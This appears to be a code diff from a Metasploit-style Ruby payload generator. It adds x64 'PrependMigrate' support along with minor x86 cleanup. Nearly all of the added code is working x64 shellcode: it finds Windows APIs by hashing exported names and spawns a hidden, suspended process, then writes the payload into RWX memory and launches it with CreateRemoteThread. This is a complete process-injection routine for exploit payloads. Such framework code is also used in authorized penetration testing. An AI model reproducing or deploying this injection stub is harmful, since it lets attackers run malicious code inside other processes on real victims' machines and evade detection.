@@ -72,8 +72,7 @@ def generate(*args)
72
72
test_arch = [ *( self . arch ) ]
73
73
74
74
# Handle all x86 code here
75
- if ( test_arch . include? ( ARCH_X86 ) )
76
-
75
+ if test_arch . include? ( ARCH_X86 )
77
76
# PrependMigrate
78
77
if datastore [ 'PrependMigrate' ] and datastore [ 'PrependMigrate' ] . to_s . downcase == 'true'
79
78
payloadsize = "0x%04x" % buf . length
@@ -93,7 +92,7 @@ def generate(*args)
93
92
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
94
93
next_mod: ;
95
94
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
96
- movzx ecx, word [edx+38] ; Set ECX to the length we want to check
95
+ movzx ecx, word [edx+38] ; Set ECX to the length we want to check
97
96
xor edi, edi ; Clear EDI which will store the hash of the module name
98
97
loop_modname: ;
99
98
xor eax, eax ; Clear EAX
@@ -108,7 +107,7 @@ def generate(*args)
108
107
; We now have the module hash computed
109
108
push edx ; Save the current position in the module list for later
110
109
push edi ; Save the current module hash for later
111
- ; Proceed to iterate the export address table,
110
+ ; Proceed to iterate the export address table
112
111
mov edx, [edx+16] ; Get this modules base address
113
112
mov eax, [edx+60] ; Get PE header
114
113
add eax, edx ; Add the modules base address
@@ -285,6 +284,226 @@ def generate(*args)
285
284
286
285
pre << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , migrate_asm ) . encode_string
287
286
end
287
+ # Handle all x86 code here
288
+ elsif test_arch . include? ( ARCH_X86_64 ) or test_arch . include? ( ARCH_X64 )
289
+ # PrependMigrate
290
+ if datastore [ 'PrependMigrate' ] and datastore [ 'PrependMigrate' ] . to_s . downcase == 'true'
291
+ payloadsize = "0x%04x" % buf . length
292
+ procname = datastore [ 'PrependMigrateProc' ] || 'rundll32'
293
+
294
+ # Prepare instructions to get address of block_api into ebp
295
+ block_api_start = <<EOS
296
+ call start
297
+ EOS
298
+ block_api_asm = <<EOS
299
+ api_call:
300
+ push r9 ; Save the 4th parameter
301
+ push r8 ; Save the 3rd parameter
302
+ push rdx ; Save the 2nd parameter
303
+ push rcx ; Save the 1st parameter
304
+ push rsi ; Save RSI
305
+ xor rdx, rdx ; Zero rdx
306
+ mov rdx, [gs:rdx+96] ; Get a pointer to the PEB
307
+ mov rdx, [rdx+24] ; Get PEB->Ldr
308
+ mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list
309
+ next_mod: ;
310
+ mov rsi, [rdx+80] ; Get pointer to modules name (unicode string)
311
+ movzx rcx, word [rdx+74] ; Set rcx to the length we want to check
312
+ xor r9, r9 ; Clear r9 which will store the hash of the module name
313
+ loop_modname: ;
314
+ xor rax, rax ; Clear rax
315
+ lodsb ; Read in the next byte of the name
316
+ cmp al, 'a' ; Some versions of Windows use lower case module names
317
+ jl not_lowercase ;
318
+ sub al, 0x20 ; If so normalise to uppercase
319
+ not_lowercase: ;
320
+ ror r9d, 13 ; Rotate right our hash value
321
+ add r9d, eax ; Add the next byte of the name
322
+ loop loop_modname ; Loop untill we have read enough
323
+ ; We now have the module hash computed
324
+ push rdx ; Save the current position in the module list for later
325
+ push r9 ; Save the current module hash for later
326
+ ; Proceed to itterate the export address table,
327
+ mov rdx, [rdx+32] ; Get this modules base address
328
+ mov eax, dword [rdx+60] ; Get PE header
329
+ add rax, rdx ; Add the modules base address
330
+ mov eax, dword [rax+136] ; Get export tables RVA
331
+ test rax, rax ; Test if no export address table is present
332
+ jz get_next_mod1 ; If no EAT present, process the next module
333
+ add rax, rdx ; Add the modules base address
334
+ push rax ; Save the current modules EAT
335
+ mov ecx, dword [rax+24] ; Get the number of function names
336
+ mov r8d, dword [rax+32] ; Get the rva of the function names
337
+ add r8, rdx ; Add the modules base address
338
+ ; Computing the module hash + function hash
339
+ get_next_func: ;
340
+ jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
341
+ dec rcx ; Decrement the function name counter
342
+ mov esi, dword [r8+rcx*4]; Get rva of next module name
343
+ add rsi, rdx ; Add the modules base address
344
+ xor r9, r9 ; Clear r9 which will store the hash of the function name
345
+ ; And compare it to the one we want
346
+ loop_funcname: ;
347
+ xor rax, rax ; Clear rax
348
+ lodsb ; Read in the next byte of the ASCII function name
349
+ ror r9d, 13 ; Rotate right our hash value
350
+ add r9d, eax ; Add the next byte of the name
351
+ cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
352
+ jne loop_funcname ; If we have not reached the null terminator, continue
353
+ add r9, [rsp+8] ; Add the current module hash to the function hash
354
+ cmp r9d, r10d ; Compare the hash to the one we are searchnig for
355
+ jnz get_next_func ; Go compute the next function hash if we have not found it
356
+ ; If found, fix up stack, call the function and then value else compute the next one...
357
+ pop rax ; Restore the current modules EAT
358
+ mov r8d, dword [rax+36] ; Get the ordinal table rva
359
+ add r8, rdx ; Add the modules base address
360
+ mov cx, [r8+2*rcx] ; Get the desired functions ordinal
361
+ mov r8d, dword [rax+28] ; Get the function addresses table rva
362
+ add r8, rdx ; Add the modules base address
363
+ mov eax, dword [r8+4*rcx]; Get the desired functions RVA
364
+ add rax, rdx ; Add the modules base address to get the functions actual VA
365
+ ; We now fix up the stack and perform the call to the drsired function...
366
+ finish:
367
+ pop r8 ; Clear off the current modules hash
368
+ pop r8 ; Clear off the current position in the module list
369
+ pop rsi ; Restore RSI
370
+ pop rcx ; Restore the 1st parameter
371
+ pop rdx ; Restore the 2nd parameter
372
+ pop r8 ; Restore the 3rd parameter
373
+ pop r9 ; Restore the 4th parameter
374
+ pop r10 ; pop off the return address
375
+ sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32)
376
+ ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP).
377
+ push r10 ; push back the return address
378
+ jmp rax ; Jump into the required function
379
+ ; We now automagically return to the correct caller...
380
+ get_next_mod: ;
381
+ pop rax ; Pop off the current (now the previous) modules EAT
382
+ get_next_mod1: ;
383
+ pop r9 ; Pop off the current (now the previous) modules hash
384
+ pop rdx ; Restore our position in the module list
385
+ mov rdx, [rdx] ; Get the next module
386
+ jmp next_mod ; Process this module
387
+ EOS
388
+ block_api_rbp_asm = <<EOS
389
+ pop rbp ; Pop off the address of 'api_call' for calling later.
390
+ EOS
391
+ block_close_to_payload = ''
392
+
393
+ # Check if we can find block_api in the payload
394
+ block_api = Metasm ::Shellcode . assemble ( Metasm ::X64 . new , block_api_asm ) . encode_string
395
+ block_api_index = buf . index ( block_api )
396
+ if block_api_index
397
+
398
+ # Prepare instructions to calculate address
399
+ rbp_offset = "0x%04x" % ( block_api_index + 5 )
400
+ block_api_rbp_asm = <<EOS
401
+ jmp close_to_payload
402
+ return_from_close_to_payload:
403
+ pop rbp
404
+ add rbp, #{ rbp_offset }
405
+ EOS
406
+ # Clear now-unneeded instructions
407
+ block_api_asm = ''
408
+ block_api_start = ''
409
+ block_close_to_payload = <<EOS
410
+ close_to_payload:
411
+ call return_from_close_to_payload
412
+ EOS
413
+ end
414
+
415
+ #put all pieces together
416
+ migrate_asm = <<EOS
417
+ cld ; Clear the direction flag.
418
+ #{ block_api_start }
419
+ #{ block_api_asm }
420
+ start:
421
+ #{ block_api_rbp_asm }
422
+ ; get our own startupinfo at esp+0x60
423
+ add rsp,-400 ; adjust the stack to avoid corruption
424
+ mov rcx,rsp
425
+ add rcx,0x30
426
+ mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
427
+ call rbp ; GetStartupInfoA( &si );
428
+
429
+ ; ptr to startupinfo is in rax
430
+ ; pointer to string is in rcx
431
+ jmp getcommand
432
+ gotcommand:
433
+ pop rsi ; rsi = address of process name (command line)
434
+
435
+ ; create the process
436
+ mov rdi,rsp ; get rsp again
437
+ add rdi,0x110 ; Offset of empty space for lpProcessInformation
438
+ push rdi ; lpProcessInformation : write processinfo here
439
+ mov rcx,rsp
440
+ add rcx,0x58
441
+ push rcx ; lpStartupInfo : current info (read)
442
+ xor rcx,rcx
443
+ push rcx ; lpCurrentDirectory
444
+ push rcx ; lpEnvironment
445
+ push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
446
+ push rcx ; bInHeritHandles
447
+ mov r9, rcx ; lpThreadAttributes
448
+ mov r8, rcx ; lpProcessAttributes
449
+ mov rdx, rsi ; lpCommandLine
450
+ ; rcx is already zero ; lpApplicationName
451
+ mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
452
+ call rbp ; CreateProcessA( &si );
453
+
454
+ ; allocate memory in the process (VirtualAllocEx())
455
+ ; get handle
456
+ push 0x40 ; RWX
457
+ mov r9,0x1000 ; 0x1000 = MEM_COMMIT
458
+ mov r8,r9 ; size
459
+ xor rdx,rdx ; address
460
+ mov rcx, [rdi] ; handle
461
+ mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
462
+ call rbp ; VirtualAllocEx( ...);
463
+
464
+ ; eax now contains the destination - save in ebx
465
+ mov rbx, rax ; lpBaseAddress
466
+ ; WriteProcessMemory()
467
+ push rsp ; lpNumberOfBytesWritten
468
+ mov r9, #{ payloadsize } ; nSize
469
+ ; pick up pointer to shellcode & keep it on stack
470
+ jmp begin_of_payload
471
+ begin_of_payload_return:
472
+ pop r8 ; lpBuffer
473
+ mov rdx, rax ; lpBaseAddress
474
+ mov rcx, [rdi] ; hProcess
475
+ mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
476
+ call rbp ; WriteProcessMemory( ...);
477
+
478
+ ; run the code (CreateRemoteThread())
479
+ xor rcx, rcx ; rdx = 0
480
+ push rcx ; lpthreadID
481
+ push rcx ; run immediately
482
+ push rcx ; no parameter
483
+ mov r9,rbx ; shellcode
484
+ mov r8, rcx ; stacksize
485
+ ;rdx already equals 0 ; lpThreadAttributes
486
+ mov rcx, [rdi]
487
+ mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
488
+ call rbp ; CreateRemoteThread( ...);
489
+
490
+ ;sleep
491
+ xor rcx,rcx
492
+ dec rcx ; rcx = -1
493
+ mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
494
+ call rbp ; Sleep( ... );
495
+
496
+ getcommand:
497
+ call gotcommand
498
+ db "#{ procname } "
499
+ db 0x00
500
+ #{ block_close_to_payload }
501
+ begin_of_payload:
502
+ call begin_of_payload_return
503
+ EOS
504
+
505
+ pre << Metasm ::Shellcode . assemble ( Metasm ::X64 . new , migrate_asm ) . encode_string
506
+ end
288
507
end
289
508
return ( pre + buf )
290
509
end
0 commit comments